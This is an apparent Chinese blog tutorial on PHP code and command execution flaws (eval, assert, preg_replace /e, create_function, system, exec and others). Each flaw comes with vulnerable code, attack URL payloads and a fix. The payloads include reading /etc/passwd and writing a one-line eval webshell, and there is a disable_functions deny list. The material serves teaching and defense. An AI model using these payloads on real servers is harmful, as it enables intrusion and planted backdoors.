web安全代码基础-PHP(代码/命令执行安全)
目录
preg_replace /e 修饰符 代码执行(PHP5 专属)
create_function 动态函数代码执行(PHP5)
直接高危(传入可控内容可直接执行 PHP 代码 / 系统命令)
回调可控间接风险(回调参数由用户可控时,可调用任意函数触发代码执行)
代码执行漏洞
前置说明
PHP 代码执行漏洞成因:可控用户输入直接传入可执行代码的函数,攻击者可拼接恶意 PHP 语法实现任意代码执行、读写文件、服务器提权等。
危险函数:eval()、assert()、旧版本 preg_replace() /e 修饰符、create_function()(PHP5)、call_user_func() 等。
preg_replace /e漏洞仅 PHP 5.0 ~ PHP 5.5 有效,PHP5.6 + 移除/e修饰符create_function()在 PHP7 废弃,PHP8 直接删除assert()在 PHP7.2 后默认关闭代码执行,需手动开启assert.active=1eval()全版本高危,无版本限制
eval () 代码执行漏洞
漏洞代码
<?php
// 获取GET参数 cmd,用户可控输入
$cmd = $_GET['cmd'];
// 直接拼接执行,存在代码执行漏洞
eval("\$ret = $cmd;");
echo "执行结果:".$ret;
?>
攻击 Payload(URL 传参)
http://127.0.0.1/vuln_eval.php?cmd=phpinfo();
http://127.0.0.1/vuln_eval.php?cmd=system('whoami');
http://127.0.0.1/vuln_eval.php?cmd=file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');
原理
eval 内部会把字符串当做 PHP 代码解析,传入分号闭合原有语法后可执行任意函数。
修复方案
1、禁止使用 eval 处理用户输入
2、若必须动态运算,使用安全的表达式白名单,严格正则过滤特殊字符 ;(){}'"
assert () 代码执行漏洞
assert 原本用于断言判断,传入字符串会当做代码执行(PHP7.2 前默认开启)
漏洞代码
<?php
$input = $_GET['a'];
assert($input);
?>
攻击 Payload
http://127.0.0.1/vuln_assert.php?a=phpinfo();
http://127.0.0.1/vuln_assert.php?a=system('id');
修复方案
1、php.ini 设置 assert.active=0、assert.exception=1
2、不传用户可控变量给 assert
preg_replace /e 修饰符 代码执行(PHP5 专属)
漏洞代码
<?php
$str = $_GET['str'];
// 带 /e 修饰符,替换内容会被eval执行
preg_replace('/(\w+)/e', '$1', $str);
?>
执行逻辑:
正常情况下,preg_replace 是做字符串替换。但加上 /e 后,流程变成了:
-
从
$str中提取出每个单词(例如"hello")。 -
把
$1(即"hello")放入替换字段。 -
由于
/e的存在,PHP会尝试执行hello这个代码。
攻击 Payload
http://127.0.0.1/vuln_preg.php?str={phpinfo()}
http://127.0.0.1/vuln_preg.php?str={system('ls -l')}
修复方案
1、废弃 /e 修饰符,使用 preg_replace_callback 回调函数替代
2、PHP5 升级 PHP7/8
安全替代写法:
// 安全无执行风险
$res = preg_replace_callback('/(\w+)/', function($m){
return $m[1];
}, $str);
//即使 $str = "phpinfo()",它也只是:
//匹配到单词 phpinfo
//回调函数返回字符串 "phpinfo"
//最终结果是字符串 "phpinfo",绝对不会执行 phpinfo() 函数
create_function 动态函数代码执行(PHP5)
create_function 通过拼接字符串创建匿名函数,可控输入会注入恶意代码。
漏洞代码
<?php
$user = $_GET['name'];
// 可控输入拼接函数逻辑
$func = create_function('', "echo 'hello ".$user."';");
$func();
?>
攻击payload
http://127.0.0.1/vuln_create.php?name=';phpinfo();//
注入后生成的函数代码变为:
function(){echo 'hello ';phpinfo();//';}
//分号闭合原有语句,注释掉剩余代码,实现任意代码执行。
执行过程:
-
create_function()会动态创建一个匿名函数 -
函数体是字符串:
"echo 'hello ".$user."';" -
$user变量会被直接拼接进函数体字符串中
修复方案
PHP7+ 不再推荐 create_function,改用匿名函数 function(){} / fn(),禁止拼接用户输入。
容易导致代码执行的 PHP 函数
直接高危(传入可控内容可直接执行 PHP 代码 / 系统命令)
- assert ():传入字符串参数会当作 PHP 代码执行,易代码注入
- pcntl_exec ():加载程序执行系统二进制,可控参数会命令注入
- preg_replace:PHP5 带 /e 修饰符时替换内容会 eval 执行 PHP 代码
- create_function ():拼接用户输入生成匿名函数,可注入 PHP 代码
- shell_exec ():执行 shell 命令并返回输出,可控参数造成命令执行
- exec ():调用外部 shell 执行系统命令,存在命令注入风险
- system ():执行系统命令并直接打印输出,极易命令注入
- include/include_once/require/require_once:文件包含,可控路径可包含恶意 PHP 文件执行代码
回调可控间接风险(回调参数由用户可控时,可调用任意函数触发代码执行)
1、array_filter、array_map、array_reduce、array_diff_uassoc、array_diff_ukey、array_udiff、array_udiff_assoc、array_udiff_uassoc、array_intersect_assoc、array_intersect_uassoc、array_uintersect、array_uintersect_assoc、array_uintersect_uassoc、array_walk、array_walk_recursive、usort、uasort、uksort:数组处理自定义回调,用户能控制回调名即可调用危险函数执行代码
2、register_shutdown_function、register_tick_function、set_error_handler、stream_filter_register、ob_start:注册各类回调处理函数,回调名称可控可劫持执行任意 PHP 函数
3、xml_set_xxx 系列处理器函数:设置 XML 解析回调,回调可控可执行任意 PHP 代码
无代码 / 命令执行风险
escapeshellcmd ():仅转义 shell 特殊字符,只做过滤,本身不会执行命令
PHP 命令执行漏洞
漏洞核心原理
用户可控外部输入(GET/POST/COOKIE)直接拼接进系统命令执行函数,未做转义 / 过滤;攻击者使用 ; | & || && %0a 等命令分隔符追加任意系统命令,实现命令注入。
system () 漏洞
漏洞代码
<?php
// 接收用户传入的ip,无任何安全处理
$target = $_GET['ip'];
// 可控变量直接拼接系统命令
system("ping ".$target);
?>
攻击 URL Payload
http://127.0.0.1/vuln_system.php?ip=127.0.0.1;whoami
http://127.0.0.1/vuln_system.php?ip=127.0.0.1|ls
http://127.0.0.1/vuln_system.php?ip=127.0.0.1&&cat /etc/passwd
效果:先执行 ping,再执行 whoami/ls/cat,读取服务器敏感信息
exec () 漏洞
漏洞代码
<?php
$target = $_GET['ip'];
$res = [];
exec("ping ".$target, $res);
print_r($res);
?>
攻击 URL Payload
?vip=127.0.0.1;pwd
命令输出存入数组并打印,可读取目录、敏感文件。
shell_exec () / 反引号 `` 漏洞
二者功能完全一致,通过 shell 执行命令并返回完整输出
漏洞代码
<?php
$target = $_GET['ip'];
$output = shell_exec("ping ".$target);
echo $output;
// 等价写法 $output = `ping $target`;
?>
攻击 URL Payload
?ip=127.0.0.1;id
passthru () 漏洞
直接原始输出命令数据流,无缓存,适合读取文件、反弹 shell
<?php
$target = $_GET['ip'];
$handle = popen("ping ".$target, "r");
echo fgets($handle);
pclose($handle);
?>
pcntl_exec () 漏洞
直接调用二进制程序,参数可控造成参数注入
<?php
$param = $_GET['p'];
pcntl_exec("/bin/echo", [$param]);
?>
攻击 URL Payload
?p=test;ls
?ip=127.0.0.1;echo '<?php eval($_POST[cmd]);?>' > shell.php
//高危拓展利用:写入网站后门
安全修复方案
escapeshellarg(最优,推荐)
将用户输入整体封装为独立参数,所有命令分隔符自动转义失效
运行过程:
-
在字符串首尾添加单引号
' -
将字符串内的单引号
'替换为'\''(结束单引号 → 转义单引号 → 开始新单引号)
<?php
$target = $_GET['ip'];
$safe_target = escapeshellarg($target);
system("ping ".$safe_target);
?>
补充两个转义函数区别:
- escapeshellarg ():转义单个参数,阻断命令注入,业务首选;
- escapeshellcmd ():转义整条命令,仅适合固定命令场景,无法完全防御参数注入,不建议单独使用。
输入白名单校验
严格限制输入格式(如仅允许 IP 数字和点)
<?php
$target = $_GET['ip'];
if (!preg_match('/^\d{1,3}(\.\d{1,3}){3}$/', $target)) {
exit("非法输入");
}
system("ping ".$target);
?>
正则匹配:
| 部分 | 含义 | 说明 |
|---|---|---|
^ |
开始锚点 | 从字符串开头匹配 |
\d{1,3} |
1-3位数字 | 匹配 0-999 |
(\.\d{1,3}){3} |
分组重复3次 | 匹配 .数字 重复3次 |
$ |
结束锚点 | 匹配到字符串结尾 |
php.ini 全局禁用危险命令函数
disable_functions = system,exec,shell_exec,passthru,popen,pcntl_exec
更多推荐
所有评论(0)